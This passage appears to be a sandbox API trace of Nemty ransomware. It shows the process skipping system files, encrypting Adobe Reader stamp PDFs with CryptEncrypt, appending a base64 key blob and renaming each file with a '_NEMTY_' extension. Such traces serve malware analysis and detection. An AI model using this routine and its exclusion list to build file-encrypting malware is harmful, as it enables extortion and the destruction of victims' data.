(lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0187.143] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0187.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0187.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.144] Sleep (dwMilliseconds=0x5) [0187.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23329490, dwHighDateTime=0x1d561e8)) [0187.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23329490, dwHighDateTime=0x1d561e8)) [0187.151] GetLastError () returned 0x0 [0187.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.151] GetLastError () returned 0x0 [0187.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.151] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.151] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.152] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.152] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="ZCPWmWiF3ZGNOP5wKKD7ZJbpqXVCXAaWeeSEP+MRkHOpeKaPXJP4n6oWl31hTQuA\r\nz2nPaUYZsGBo1VtTg8neqjJ8G5xKq8gu/85ue4kA/6vysGHYsInXjNYYCcww+v5I\r\nkN/3OXuKHx5O+YHHdD/Zlmqn/D338XAUQrSe0Jweg082UGV2v2tmJXO0B2PGi4Wq\r\n5KLWkPqxTDR8HRArqCLQOahkgxAoKuzJPPNhKF8tRiYtRxarUHndRAfDnjhYty3v\r\niYo70NssK/cDvJox3OP+o27OOYTfVZIsNTqFsGVX6xRoTWu2DIOGbgG/n3R7NOTT\r\nPnuvAOseVj5v+uVqE5ZRTA==\r\n", pcchString=0x653df5c) returned 1 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.152] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=35990) returned 1 [0187.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8c90) returned 0x6352c48 [0187.152] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.152] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8c90, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8c90, lpOverlapped=0x0) returned 1 [0187.156] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.156] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8c90, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8c90, lpOverlapped=0x0) returned 1 [0187.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.156] SetFilePointer (in: hFile=0x320, lDistanceToMove=35990, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c96 [0187.157] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.157] CloseHandle (hObject=0x320) returned 1 [0187.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.157] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0187.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.158] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0187.158] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0187.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0187.159] Sleep (dwMilliseconds=0x5) [0187.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2334f5f0, dwHighDateTime=0x1d561e8)) [0187.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2334f5f0, dwHighDateTime=0x1d561e8)) [0187.172] GetLastError () returned 0x0 [0187.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.172] GetLastError () returned 0x0 [0187.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.172] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.173] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.173] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="3XhhkfAbfe09xPnN3V+4lTz8PV00e47efgK4KQ/TmtcvfV7E1Px3mtG/xLuzgqeW\r\nW39PNts0dZsvEaCuusEUcRkWaJb98NM+6f7y2ciRJBtJHOqgw3u3NL9JShZ+BSBd\r\nnp5x7LdFJOY3dPoQ9yPzIq0zEXYpfi1BN8+WtPItVtg9MsfNwSF9uGMgV8LSp1tE\r\nIWfVpyMrL6wkxKMddaqTMO+BODqRtjacYiMYfvRMP5lDfWCcXG+pR2L3grk3ltNr\r\nSgvPdd4yKvj+NBddEgdgV18bT/TRl65nFoViPp33jatQ23aAGMgsm5gRe5fVwmeY\r\nbLahExorTJdPZd0HykeSnA==\r\n", pcchString=0x653df5c) returned 1 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.173] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=191390) returned 1 [0187.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.173] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.173] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.182] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.182] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.183] SetFilePointer (in: hFile=0x320, lDistanceToMove=191390, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2eb9e [0187.183] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.183] CloseHandle (hObject=0x320) returned 1 [0187.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.183] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf._nemty_kgobjgd_")) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.184] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, 